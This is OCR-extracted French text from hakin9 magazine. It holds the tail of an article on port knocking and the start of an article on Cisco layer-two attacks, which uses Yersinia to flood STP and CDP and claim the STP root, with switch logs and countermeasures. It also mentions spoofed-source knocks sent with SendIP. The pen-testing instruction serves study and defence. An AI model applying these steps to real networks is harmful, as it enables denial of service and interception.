propre digest HMAC MD5 pour une
combinaison donne d'utilisateur,
d'un port, d'un numro alatoire
et d'un secret. Le Listing 13 con-
tient le code Perl pour raliser
tous ces points, l'aide du module
Digest::HMAC_MD5 disponible de-
puis CPAN. Quand le script est ap-
pel, il affche une charge utile qu'il
est possible d'utiliser avec SendIP
(voir le Listing 14). Le drapeau -d
spcife la charge de donnes et le
drapeau -ud le port de destination
(port de Doorman).
Grce SendIP, il est possible
de gnrer n'importe quel paquet
et d'adapter les champs d'en-ttes
vos besoins. Vous pouvez faire
en sorte que le paquet ait l'air d'tre
arriv de n'importe quelle adresse
IP et pas seulement de la vtre.
Ici, on utilise -is 10.1.17.1, ce qui
correspond l'adresse IP actuelle
du client mais n'importe quelle valeur
peut tre accepte. Par consquent,
il est possible d'utiliser SendIP d'un
troisime ordinateur pour demander
Doorman d'ouvrir un port un
client diffrent.
Implmentations et
extensions
Le port knocking dcrit une
mthode d'envoi des informations
d'authentifcation travers des ports
ferms pour les vnements distants
de dclenchement. Vu que ceci
couvre donc une large zone, il n'est
pas tonnant qu'il existe un grand
nombre d'implmentations de port
knocking.
En gnral, tout client du port
knocking et toute implmentation
du serveur partagent certaines
caractristiques. Au fond, le client
et le serveur doivent tre d'accord
sur la forme de l'authentifcation.
Figure 4. Matrice des caractristiques pour les implmentations connues du port knocking
Port knocking
hakin9 N 6/2005 www.hakin9.org 21
Elle doit avoir le format d'une s-
quence de port ou des donnes
du paquet ou les deux. Puisque
l'authentifcation valide peut d-
clencher n'importe quel vnement
sur le serveur du port knocking, on
dfnit une carte entre ces vne-
ments et frappes.
Dans certaines implmentations,
toutes les frappes sont mappes soit
sur l'ouverture du port soit sur sa ferme-
ture, et dans d'autres implmentations,
les frappes peuvent tre associes
aux commandes systme arbitraire.
La Figure 4 prsente une matrice des
caractristiques pour les implmenta-
tions connues du port knocking (visitez
http://portknocking.org pour avoir une
liste complte).
Deux moyens puissants des-
tins combattre les attaques de
rejeu sont : simulation/rponse
(en anglais challenge-response)
et mots de passe dynamiques
(en anglais one-time passwords).
Le mcanisme de simulation/
rponse, o le serveur demande au
client d'effectuer quelques calculs
sur une entre alatoire, n'est pas
appropri pour le port knocking car
le client s'authentife de manire
passive. Les mots de passe dy-
namiques peuvent, toutefois, tre
implments et sont supports
par COK (Cryptographic One-time
Knocks) de David Worth.
De mme que la stratgie anti-
rejeu de Doorman incorpore un
numro alatoire utiliser une seule
fois dans la chane d'authentifcation,
COK lance aussi une fonction de
hachage cryptographique sur les
mots de passe prcdents afn
de calculer le nouveau mot de
passe. Les attaques de rejeu sont
facilement dtectes : un OTP
envoy est dtect. COK supporte
galement le knocking via DNS :
le client effectue une requte de
recherche au dmon DNS du
serveur sur le OTP.domain.com o
OTP est un one-time password (mot
de passe dynamique). La recherche
DNS choue bien videmment mais
la requte est connecte et peut tre
excute.
Pasmal de James Meehan est
dot de deux caractristiques int-
ressantes pour grer les tentatives
d'intrusion. L'une d'entre elles est
un module de dtection d'intru-
sions, qui empcheront d'autres
connexions partir d'une adresse
IP lorsque les tentatives d'analyses
de port ou de frappes choues r-
ptitives sont dtectes. Une autre
caractristique est un cran de
fume (en anglais smoke screen).
Quand le client y a envoy une
frappe d'authentifcation initiale, les
paquets de frappe restants sont
distribus dans d'autres paquets
confgurs par le client. Dans ce
schma, le client et le serveur d-
cident ensemble quels paquets du
fux font partie de la frappe. Pasmal
introduit galement un frontal Web
pour une confguration.
Parmi toutes les implmentations,
SAdoor aborde de manire unique la
faon dont le client informe le serveur
quelle commande il devrait excuter.
SAdoor chiffre la commande dans
un paquet de commandes. C'est le
dernier paquet de la squence de
paquets d'authentifcation.
De nombreuses implmenta-
tions se servent de diffrents as-
pects de paquets pour le processus
d'authentifcation, y compris, d'une
en-tte et d'une charge de donnes
pour stocker cette information.
wknop implmente une couche
d'authentifcation supplmentaire,
base sur l'empreinte digitale du
systme d'exploitation. Grce
l'analyse de nombreuses valeurs
d'options TCP trouves dans une
en-tte TCP, fwknop est capable
de faire correspondre un ensemble
d'options un systme d'exploita-
Comment obtenir une bonne frappe ?
Les implmentations abordent diffremment la faon dont doit se drouler l'authenti-
fcation de port knocking. Voici une liste des caractristiques qui devraient faire partie
d'une frappe :
Taille une frappe devrait tre aussi dense que possible. C'est particulirement
important pour les frappes sous forme de squence de paquet car moins de tenta-
tives de connexions signife moins d'erreurs potentielles de transmission et moins
de chance pour votre frappe d'tre intercepte et dcouverte. La frappe pourrait
tre mappe sur une porte de port aussi large que possible (p. ex. 32768) afn de
maximiser le contenu informatif d'un nombre donn de ports. En ce qui concerne les
frappes composes d'un seul paquet contenant des donnes, la limite pratique est
gale une MTU moyenne (1500 octets). Ce nombre est plus lev la quantit
pratique d'informations qu'une squence de ports est capable de coder.
Chiffrage la frappe, ou les donnes au sein de la frappe, doivent tre chiffres
afn de limiter les attaques destructives et ceux de rejeu. Dans cette dernire, le
secret utilis dans la frappe doit tre chiffr.
Somme de contrle cela peut tre une couche supplmentaire de validation pour
des frappes de plusieurs paquets. Une fois la squence de port dcode et dchif-
fre, si une de valeurs est une somme de contrle, il est alors possible de vrifer
le contenu de la frappe. La somme de contrle est un niveau supplmentaire de
protection contre les fausses frappes.
One-time knock (OTK) le one-time knock (frappe dynamique) peut tre faci-
lement implment. Si une frappe est balise avec un index, le serveur devrait
garder seulement les traces des indexes de frappes reus d'un client. Le client doit
incrmenter l'index pour chaque nouvelle frappe pour qu'elle soit valable.
Moyens de transport la frappe peut tre soit une squence de paquets, soit un
seul paquet contenant des jetons d'authentifcation dans la charge, soit les deux.
Les frappes multi-paquets ncessitent trs peu de travail pour implmenter et
corrompre la diffrence entre les en-ttes et la charge de donnes (dans ce cas,
l'en-tte est une charge de donnes). Traditionnellement, si quelqu'un renife le
trafc pour chercher des mots de passe ou d'autres informations utiles, il ignore
probablement les paquets dpourvus d'un composant de donnes. D'un autre
ct, lorsqu'une frappe se trouve dans un seul paquet, le transfert peut tre plus
fable et le chiffrage de donnes plus souple.
hakin9 N 6/2005 www.hakin9.org
Dossier
22
tion spcifque. Par consquent,
le systme de port knocking peut
inclure le systme d'exploitation
d'o le paquet a t envoy sous
forme de fltre.
Applications
Il existe de nombreux moyens d'uti-
liser le port knocking. Dans certains
cas, le port knocking fournit des
caractristiques concernant la scu-
rit, introuvables dans d'autres sys-
tmes. Une telle application consiste
maintenir des serveurs near-line,
qui apparaissent hors ligne (aucun
port ouvert) : les connexions ces
serveurs sont possibles via une
couche port knocking. Ces serveurs
peuvent tre mis sur Internet ou dans
un sous-rseau d'un rseau local. Ils
peuvent alors servir de passerelles
aux donnes sensibles.
L'aspect probablement le plus
pratique du port knocking consiste
tendre les possibilits de correc-
tifs sans infuencer directement la
scurit. En protgeant un service de
premier plan, comme SSH, l'adminis-
trateur, qui a plus de responsabilits
que de temps, peut passer moins de
temps vrifer le serveur.
En plus d'augmenter la s-
curit, le port knocking peut tre
utilis dans malware pour fournir
des portes drobes impossibles
dtecter (voir l'Encadr Sur Inter-
net). L'analyse des ports locaux ne
pourra pas dtecter une porte d-
robe ainsi protge ; l'utilisation r-
pandue des applications de ce type
n'est qu'une question de temps.
Dtection et attaque
Il est impossible de cacher
compltement un systme protg
par un port knocking. Un paquet
doit voyager entre les systmes,
soit comme un lment d'une tape
d'authentifcation soit comme une
connexion lgitime. Les renifeurs
peuvent donc identifer et dtecter
votre systme en :
dtectant un trafc sortant,
dtectant des frappes entrantes
dtectant des connexions ta-
blies.
Vu le grand nombre de mthodes
de port knocking et la nouveaut
relative de cette mthode, tous ceux
qui souhaitent identifer, intercep-
ter et exploiter un serveur de port
knocking devront tre persvrants
dans l'interception et le dcodage
du trafc. La fentre de connexion
aprs la validation d'une frappe est
trs troite (ce qui dpend de l'impl-
mentation). titre d'exemple, Door-
man resserre immdiatement les
rgles du pare-feu aprs avoir reu
le premier paquet SYN du client.
Par consquent, un intrus, qui prend
pour cible un systme protg par un
port knocking, devrait plutt utiliser
des attaques standard d'exploration,
telles que vol de session et ensuite,
il devrait tenter de trouver un pas-
sage dans un systme de port knoc-
king bien implment.
Puisque le port knocking est une
couche supplmentaire de scurit
passive, le serveur n'est pas expos
aux dangers si on submerge le
dmon du port knocking avec une
attaque DoS. Si la couche de port
knocking est dtruite, le serveur
reste inaccessible au trafc entrant
jusqu' ce que la couche soit remise.
C'est une caractristique souhaite
pour la couche de scurit. Il ne faut
pas non plus oublier que l'objectif
de port knocking consiste cacher
et protger les services rseau
qui devraient demander leur propre
authentifcation. On peut contester
si un systme de port knocking
protgeant un serveur SSH ne
doit pas ncessiter une tape de
simulation/rponse parce que le
serveur SSH l'implmente. Par
consquent, si le service SSH est
mis jour rgulirement, la couche
supplmentaire de port knocking
fournit davantage de protection et
limine des fls provenant des intrus
les plus fermes.
Conclusions
Le port knocking est encore
une mthode relativement nouvelle
dont les premiers adeptes peuvent
protger d'autant leurs systmes.
Un grand nombre d'implmentations
existe dj et beaucoup d'entre
elles sont prtes tre installes
et confgures.
Enfn, l'ajout de port knocking
aux priphriques matriels, comme
routers SOHO qui supportent dj
la redirection de port, le dclenche-
ment de port et les priphriques
faible surface de couverture, rsul-
tera en une adaptation plus large de
ce mcanisme. Comme il a t dj
montr, il est trs facile d'implmen-
ter le port knocking et vous pouvez
augmenter considrablement la
scurit de votre systme avec un
effort minime. Il est temps de tester
le port knocking et de garder vos
ports ouverts pour vous. l
propos de l'auteur
Martin Krzywinski (http://mkweb.bcgsc.ca) est un chercheur scientifque en bioinfor-
matique. Il travaille avec les cartes d'empreintes digitales de grands gnomes et adore
crire des scripts Perl de toute taille. Il est expriment en administration systme *NIX
et en automatisation de systme. Il est originaire de Varsovie mais actuellement, il ha-
bite Vancouver, au Canada o il fait du kayak et boit de grandes quantits de caf.
Sur Internet
http://www.portknocking.org site de l'auteur concernant le port knocking,
http://doorman.sourceforge.net implmentation du port knocking de Doorman,
http://www.symantec.com/press/2004/n040920b.html section de tendances
actuelles de cet article dcrit les portes drobes avec le port knocking,
http://www.networksorcery.com/enp/topic/ipsuite.htm en-ttes pour les protoco-
les IP.
www.hakin9.org hakin9 N 6/2005 24
Focus
L
a couche de liaison de donnes est l'l-
ment le moins scuris que l'on oublie le
plus souvent dans les rseaux. Il arrive
souvent que les administrateurs connectent
tout simplement les commutateurs, les confgu-
rent pour le travail et ne s'en proccupent plus.
Le pen-testing rvle souvent des commuta-
teurs qui se servent d'une version vulnrable
de IOS et ne sont pas toujours performants.
On pense souvent aussi que l'implmentation
de VLAN dans un rseau peut empcher des
intrus malicieux. L'architecture VLAN peut tou-
tefois constituer une faille. Par consquent, des
attaques de couches OSI suprieures, telles
que renifage de mots de passe, Man-in-the-
Middle sont possibles via les VLAN.
Une bonne nouvelle pour la couche deux
est que les paquets de la couche de liaison
de donnes ne peuvent pas passer via les r-
seaux IP (par exemple, Internet). Cependant,
toutes les attaques sont limites aux rseaux
internes. Mais les statistiques dmontrent
que les attaques internes peuvent tre aussi
dangereuses que les externes. Il ne faut pas
non plus oublier que si un intrus de l'extrieur
traverse votre pare-feu et arrive la Zone d-
militarise (DMZ), ces attaques lui permettent
de sortir de cette zone et de prendre tout vo-
tre rseau pour cible. Regardez quelles sont
les vulnrabilits rpandues de la couche de
liaison de donnes, comment elles peuvent
tre exploites par un intrus et ce que vous
pouvez faire pour protger votre quipement.
Tous les exemples se reportent l'quipe-
ment Cisco mais certains d'entre eux peuvent
aussi bien concerner l'quipement d'autres
fabricants.
Attaques de la couche
deux du modle OSI
Alfredo Andrs, David Barroso
Degr de diffcult
La couche deux du modle OSI est l'un des liens les plus faibles
en ce qui concerne la protection du rseau. C'est aussi le lien le
plus ignor car il n'y a pas beaucoup de rvlations publiques des
attaques de la couche deux. Une attaque russie de la couche deux
peut tre toutefois aussi dangereuse que toute autre attaque.
Cet article explique...
les spcifcations de deux protocoles de la cou-
che OSI : STP, CDP, DTP, IEEE 802.1Q, VTP,
comment effecteur des attaques contre ces
protocoles,
comment protger votre systme contre ces
attaques,
comment employer Yersinia, un outil trs utile
pour les administrateurs rseau et les pen-tes-
teurs.
Ce qu'il faut savoir...
les bases de la couche deux du modle OSI,
la connaissance de la technologie Cisco.
Attaques de la couche deux du modle OSI
hakin9 N 6/2005 www.hakin9.org 25
Les concepteurs ont obtenu la
plupart des donnes via la recherche
et le dveloppement de l'outil Yersinia.
Il tait parfois impossible de trouver
une rfrence ou un code accessible
au grand public ; par consquent,
certaines conclusions se basent sur
l'analyse du comportement et non sur
les standards publis.
STP (Spanning Tree
Protocol)
Le but de STP consiste viter des
boucles de rseau lors de l'intercon-
nexion des segments de rseau.
Un seul chemin peut exister pour
passer d'un priphrique un autre.
Chaque paquet STP s'appelle BPDU
(Bridge Protocol Data Unit) et il est
possible de l'identifer en observant
son format : un paquet IEEE 802.3
avec une en-tte 802.2 et avec une
destination MAC 01:80:C2:00:00:00
(voir la Figure 1).
Il existe deux types de BPDU :
Confguration et Topology Change
Notifcation (TCN). Le premier d'en-
tre eux est envoy priodiquement
et prsente la confguration du r-
seau alors que le second est envoy
chaque fois que le changement
du rseau est dtect (un port est
activ/dsactiv). Vous trouverez
plus d'informations sur STP dans
IEEE Standard 802.1D (reportez
vous l'Encadr Sur Internet).
Attaques
La faiblesse principale de STP con-
siste en un manque d'authentifcation
et de contrle. Chaque priphrique,
chaque personne ou chaque intrus
peut envoyer un BPDU et participer
au protocole.
Afn de comprendre les attaques,
il est ncessaire de connatre le
format BPDU Confguration (voir la
Figure 2) :
PID (2 octets) : Protocole, tou-
jours zro,
Version (1 octet) : version STP,
peut tre zro (STP), un (RSTP)
ou trois (MSTP),
Message type (1 octet) : type
BPDU : confguration (0x00) ou
TCN (0x80),
Sept couches du modle OSI
En 1977, on a propos un modle Open Systems Interconnection (OSI) ; son ob-
jectif consistait tablir un standard d'interoprabilit des produits de diffrents
fabricants. Ce modle dfnit plusieurs couches lies au transfert de donnes,
partir de la couche la plus basse (physique) la couche la plus haute (application).
Elles dpendent fortement l'une de l'autre. Les en-ttes sont habituellement ajou-
tes lors d'un passage d'une couche infrieure une couche suprieure. Voici les
sept couches :
Couche 1 couche physique : gre la communication (et contrle) via le canal de
rseau,
Couche 2 couche de liaison de donnes : tablit des mthodes pour fournir des
blocs de donnes,
Couche 3 couche rseau : charge de routage de paquets de donnes.
Couche 4 couche transport : charge d'une bonne transmission de donnes
(dpourvue d'erreurs),
Couche 5 couche session : permet de contrler le dialogue entre les applica-
tions,
Couche 6 couche prsentation : aide tablir un format de donnes entre les
applications, ce qui permet d'organiser la prsentation,
Couche 7 couche application : tablit les mthodes permettant aux applications
d'accder au modle OSI (le rseau).
Yersinia
Afn d'effectuer des attaques de la couche de liaison de donnes, vous allez vous
servir d'un outil appel Yersinia, crit par les auteurs de cet article. Yersinia est
portable, crit en C ( l'aide de libpcap et libnet), multi-fls (supporte des utilisateurs
multiples et des attaques concurrentes multiples). Il est possible de l'utiliser pour
analyser, diter et observer des paquets rseau, voire enregistrer le trafc au format
pcap.
La version la plus rcente de Yersinia (0.5.5.2) supporte les protocoles suivants :
Spanning Tree Protocol (STP),
Cisco Discovery Protocol (CDP),
Dynamic Trunking Protocol (DTP),
Dynamic Host Confguration Protocol (DHCP),
Hot Standby Router Protocol (HSRP),
IEEE 802.1Q,
Inter-Switch Link Protocol (ISL),
VLAN Trunking Protocol (VTP).
Yersinia peut oprer dans un de trois modes principaux :
la ligne de commandes : peut tre utilise pour effectuer des attaques ad-hoc ; ce
mode a t implment pour aider les pen-testeurs utiliser Yersinia en scripts,
le dmon rseau : permet d'utiliser Yersinia depuis un emplacement distant ; CLI
ressemble beaucoup celui utilis par Cisco,
le GUI : (crit en ncurses).
Toutes les attaques dcrites sont excutes en mode graphique (GUI), bien qu'elles
puissent tre aussi lances en un ou deux autres modes. Afn de trouver toutes les
caractristiques de l'outil, appuyez sur [h] lorsque Yersinia fonctionne en mode graphi-
que (yersinia -I). Remarque : le mode requiert un grand nombre des lignes et des
colonnes pour fonctionner ; si l'excution de ce mode choue, essayez de maximiser
votre fentre terminale.
Yersinia incorpore d'autres attaques que celles effectues sur la couche deux (par
exemple, HSRP, DHCP). Vous allez toutefois vous concentrer seulement sur les capa-
cits lies la couche deux. Le nom de l'outil provient du nom d'une bactrie qui avait
provoqu la Peste Noire en Europe au Moyen ge : Yersinia pestis.
hakin9 N 6/2005 www.hakin9.org
Focus
26
Flags (1 octet) : plusieurs para-
mtres de port (utile pour RSTP)
et un bit pour notifer des change-
ments en topologie,
Root ID (8 octets) : ID de pri-
phrique root,
Root path cost (4 octets) : cot du
chemin au priphrique root,
Bridge ID (8 octets) : ID de l'ex-
pditeur de BPDU,
Port ID (2 octets) : numro de
port (IEEE ou Cisco STP BPDU)
d'o le BPDU est envoy,
Message age (2 octets) : temps
coul depuis que root a envoy
le message de confguration sur
lequel se base le message cou-
rant,
Maximum age (2 octets) : mo-
ment o le message de confgu-
ration courante doit tre dtect,
Hello time (2 octets) : dure entre
l'envoi de deux confgurations de
BPDU,
Forward delay (2 octets) : dure
d'attente de pont avant de passer
un nouvel tat aprs le change-
ment de topologie.
STP peut tre dcrit brivement
ainsi : l'lection de priphrique
root et le calcul de chemin entre
tous les priphriques participants
l'arbre de dcoupage. Au dbut,
tous les priphriques participent
l'lection de root. Le priphrique
choisi est dot d'un ID le moins
lev. Une fois le root lu, tous les
chemins sont recalculs chaque
fois que le rseau change. Un nou-
veau root est lu si le root courant
disparat ou si un nouveau priph-
rique, qui a un ID moins lev, se
connecte.
Faites attention
Jetez un coup d'il sur les trois
attaques possibles sur STP. Les
deux premires attaques sont les
attaques Denial of Service (DoS) ;
elles forcent tous les priphriques
participants au STP recalculer
leurs chemins. Ceci provoque l'ins-
tabilit du rseau car tous les com-
mutateurs sont forcs consommer
le temps CPU et la mmoire en re-
calculant les chemins. Ces attaques
sont galement capables de faire
apparatre des boucles de rseau.
Le pire scnario est que le rseau
entier soit dtruit ; les duplicatas des
paquets se trouveront partout, ce qui
encombrera le rseau et provoquera
un dysfonctionnement.
Ces attaques sont plutt simples.
Elles se basent sur l'envoi des mil-
liers de BPDU (lors de la premire
attaque : Confguration BPDU et
lors de la deuxime : TCN) dont les
adresses source MAC (et autres
champs dans un BPDU Confgu-
ration, comme Bridge ID) sont g-
nres de manire alatoire. Ceci
Paquets de dcodage
Bien qu'une des utilisations de Yersinia
consiste dcoder et observer les
paquets du protocole de la couche
deux, il est possible d'utiliser d'autres
analyseurs de protocoles comme
tcpdump ou Ethereal ces fns. Si,
par exemple, vous voulez sniffer des
paquets STP, vous pouvez excuter
ethereal avec l'option suivante :
# ethereal -f stp
Figure 1. Structure d'un paquet BPDU
Figure 2. Structure de BPDU Confguration
Listing 3. Rsultats de l'attaque Claiming Root Role
01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8
01:58:48: supersedes 32769-000e.84d5.2280
01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19
Listing 2. Rsultats d'une attaque DoS envoyant un TCN BPDU
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
Listing 1. Rsultats d'une attaque DoS envoyant un BPDU
Confguration
01:20:26: STP: VLAN0001 heard root 32768-d1bf.6d60.097b on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-9ac6.0f72.7118 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-85a3.3662.43dc on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-3d84.bc1c.918e on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b2e2.1a12.dbb4 on Fa0/8
Attaques de la couche deux du modle OSI
hakin9 N 6/2005 www.hakin9.org 27
simule la connexion des milliers de
nouveaux priphriques qui souhai-
tent participer au protocole. Rien
d'tonnant que cette dmarche pro-
voque un chaos complet.
Les deux attaques peuvent tre
effectues au moyen de Yersinia et
s'appellent : sending conf BPDUs et
sending tcn BPDUs (appuyez sur [x]
pour slectionner l'attaque en mode
graphique). Les Listings 1 et 2 pr-
sentent la raction d'un commutateur
aux attaques.
La troisime attaque consiste
usurper l'identit d'un root STP.
Dans un premier temps, on capture
un BPDU, contenant l'identifant du
root. Ensuite, le systme attaquant
est confgur afn de se comporter
comme tout autre priphrique du
rseau qui souhaite participer au
STP et qui est dot d'un ID moins
lev que le priphrique courant.
L'identifant root est dcrment de
1 pour ressembler un identifant
de root rel et pour que l'administra-
teur rseau ne soit pas capable de
remarquer le changement en y jetant
un simple coup d'il.
L'instabilit du rseau est la
consquence principale de l'at-
taque de ce type. Il ne faut pas
oublier que tous les membres du
rseau envoient des notifcations
(TCN) au priphrique root lors-
qu'ils dtectent un changement.
ce moment l, le priphrique root
envoie un BPDU Confguration con-
tenant un ensemble de drapeaux
1 (champ Flags) afn d'informer
tous les membres qu'il faut recalcu-
ler leurs chemins. Si l'attaque rus-
sit, le nouveau faux priphrique
root abandonne les TCN envoys
par les commutateurs, donc aucun
commutateur ne recalcule son che-
min. En consquence, la structure
du rseau est dtruite.
Afn d'effectuer l'attaque en Yer-
sinia, il faut d'abord appuyer sur
[d] pour remplir le BPDU avec des
valeurs par dfaut et ensuite, lancer
l'attaque appele Claiming Root
Role (appuyez sur [x] et slectionnez
ensuite l'attaque quatre). L'attaque
comporte deux tapes. Dans un
premier temps, vous sniffez la conf-
guration BPDU pour connatre l'iden-
tifant root, ensuite, vous envoyez
une nouvelle confguration cre par
BPDU toutes les hello time secon-
des. Le Listing 3 prsente la raction
de commutateurs.
L'ancien identifant root tait
32769-000e.84d5.2280, alors que
le nouveau identifant est maintenant
32769-000e.84d4.2280. Si vous
analysez l'identifant de root, vous re-
marquerez que le quinzime chiffre a
t chang de cinq en quatre. L'iden-
tifant du priphrique virtuel est donc
moins lev et il est en consquence
lu identifant de root STP.
Il existe davantage de possibi-
lits d'attaques bases sur STP ;
certaines d'entre elles sont impl-
mentes en Yersinia. L'une d'entre
elles s'appelle Causing Eternal Root
Elections ; elle continue d'envoyer
des paquets contenant des identi-
fants toujours moins levs, ce qui
provoque une lection infnie de root
et un chaos complet du rseau. Une
autre attaque s'appelle Claiming
Root Role with MiTM ; c'est une
attaque du type Man-in-the-Middle.
Il est galement possible de tester
Claiming Other Role, ce qui signife :
essayer de se comporter comme
un commutateur ; c'est une attaque
proof-of-concept (preuve que c'est
possible) qui ne comporte aucune
consquence ngative.
Contre-mesures
Afn d'viter des attaques STP sur
les priphriques Cisco, un adminis-
trateur peut :
dsactiver le STP lorsqu'il n'est
pas ncessaire,
Figure 3. Structure d'un paquet CDP
Figure 4. Champs dans un paquet CDP
Tableau 1. Exemples de nuples TLV
Contenu TLV Type Longueur Valeur
0001 0008 7a61 7065 Device ID (0x0001) 8 (0x0008) (deux octets
pour le type, deux octets
pour la longueur et quatre
octets pour la valeur)
zape (0x7a 0x61 0x70 0x65)
000b 0005 01 Duplex type (0x000b) 5 (0x0005) (deux octets
pour le type, deux octets
pour la longueur et un octet
pour la valeur)
0x01 (Full Duplex)
hakin9 N 6/2005 www.hakin9.org
Focus
28
utiliser Spanning Tree Portfast
BPDU Guard Enhancement et
Spanning Tree Protocol Root
Guard Enhancement (reportez-
vous l'Encadr Sur Internet).
CDP (Cisco Discovery
Protocol)
CDP est un protocole propritaire
de Cisco, permettant aux diffrents
priphriques de rseau Cisco de
communiquer entre eux. D'autres
fabricants peuvent galement se
servir d'un CDP s'ils acquirent la
technologie ncessaire (par exemple
Hewlett-Packard).
La faon la plus simple d'identifer
un paquet CDP consiste regarder
les caractristiques suivantes : un
paquet IEEE 802.3 avec une en-tte
802.2 SNAP et une destination multi-
cast MAC 01:00:0C:CC:CC:CC (voir
la Figure 3). Un paquet CDP contient
des informations intressantes sur
les proprits du priphrique en-
voyant le paquet. titre d'exemple,
cette information peut contenir :
le nom du priphrique,
le modle,
la version IOS,
l'adresse IP (peut en contenir
plusieurs),
le domaine VTP,
les capacits (commutateur, rou-
ter, pont, etc).
Ces donnes, envoyes prio-
diquement par tout priphrique
Cisco, peuvent proposer des infor-
mations prcieuses pour les atta-
ques ultrieures. Par dfaut, CDP
est activ sur les priphriques
Cisco et envoie cette information
toutes les 180 secondes (trois mi-
nutes).
Attaques
Aucune authentifcation n'est deman-
de lors de l'envoi ou de la rception
des paquets CDP. Les donnes de
paquet sont envoyes en texte clair,
ce qui rend les attaques plus faciles.
De plus, le format CDP est expliqu
sur le site Web de Cisco (reportez
vous l'Encadr Sur Internet).
Un paquet CDP se compose des
champs suivants (voir la Figure 4) :
Figure 5. TLV pour un exemple de
paquet vu en Yersinia
Listing 4. Rsultats d'une attaque CDP DoS
# show cdp neighbours
Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge
S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone
Device ID Local Intrfce Holdtme Capability Platform Port ID
2EEEWWW Gig 0/1 253 yersinia Eth 0
ZCCCUU9 Gig 0/1 250 T S I r yersinia Eth 0
J222FFX Gig 0/1 249 R T yersinia Eth 0
WAAASS6 Gig 0/1 240 R B I r yersinia Eth 0
2IIWWWE Gig 0/1 249 T B H I yersinia Eth 0
K333FFX Gig 0/1 234 R T yersinia Eth 0
TBBBOO7 Gig 0/1 252 B H r yersinia Eth 0
3KKYKYY Gig 0/1 250 R B H yersinia Eth 0
TBBBPP7 Gig 0/1 252 S H I r yersinia Eth 0
Listing 5. Rsultats d'une attaque CDP DoS journal de commutateur
00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
-Process= "CDP Protocol", ipl= 0, pid= 26
-Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318
00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
Attaques de la couche deux du modle OSI
hakin9 N 6/2005 www.hakin9.org 29
Version (1 octet) : indique la
version CDP, en gnral, une ou
deux,
TTL (1 octet) Time To Live :
dure de vie d'un paquet CDP,
Checksum (2 octets) : vrife quel
paquet est correct,
TLV (longueur variable) sries
Type, Length, Value. Ce champ
contient les donnes courantes,
il est reprsent par une liste de
tuples TLV, chaque tuple dot du
format suivant : Type (2 bytes),
type de donnes (par exemple
Device ID, Address, Port ID),
Length (2 octets), longueur TLV
et Value (longueur variable), la
valeur courante (voir la Table 1
pour les exemples de nuples TLV
et la Figure 5 pour une capture
d'cran de Yersinia prsentant
les TLV pour un exemple de pa-
quet).
Si vous connaissez le format, vous
pouvez prendre le rle d'un pri-
phrique de rseau en envoyant
un paquet cr par CDP. Les an-
ciennes versions IOS de Cisco ont
des vulnrabilits, dcouvertes par
FX de Phenoelit (reportez vous
l'Encadr Sur Internet). Si beau-
coup de paquets CDP contenant
des identifants diffrents sont en-
voys (en essayant de se comporter
comme des priphriques de rseau
diffrents), la mmoire est sature
dans le priphrique. Le priphri-
que choue alors et doit tre relanc
pour fonctionner correctement. Une
telle attaque peut provoquer une d-
connexion d'un segment du rseau
ou, si un routeur n'est pas pris pour
cible, l'accs Internet est impossi-
ble jusqu' ce que le priphrique
soit relanc.
Faites attention
Si vous tes connects un r-
seau, contenant des priphriques
comprenant CDP, l'affchage gra-
phique montrera rapidement les
modes CDP de ces priphriques.
La premire attaque lie CDP
se base sur la vulnrabilit sus-
mentionne. Pour ce faire, aucune
information supplmentaire n'est
ncessaire. En mode graphique de
Yersinia, en mode CDP, appuyez
sur [x] et slectionnez l'attaque
fooding CDP table. Le Listing 4
prsente le rsultat de l'attaque et
le Listing 5 prsente le journal de
commutateur.
Yersinia incorpore une autre
attaque, permettant de confgurer
les priphriques virtuels de Cisco.
Lorsqu'un administrateur rseau v-
rife les voisins dans un des priph-
riques rels, tous les priphriques
virtuels crs s'affcheront sur une
console. Cette attaque n'a aucune
consquence ngative l'exception
d'agacer l'administrateur rseau (qui
essayera certainement de dcouvrir
le nouveau priphrique connect
au rseau).
Contre-mesures
La seule contre-mesure valide
contre les attaques CDP consiste
dsactiver CDP au moyen de la
commande : no cdp run. Le pro-
tocole lui-mme n'a pas t accru
pour la scurit.
DTP (Dynamic
Trunking Protocol)
DTP est un protocole propritaire
de Cisco, charg d'tablir des agr-
gations (reportez-vous l'Encadr
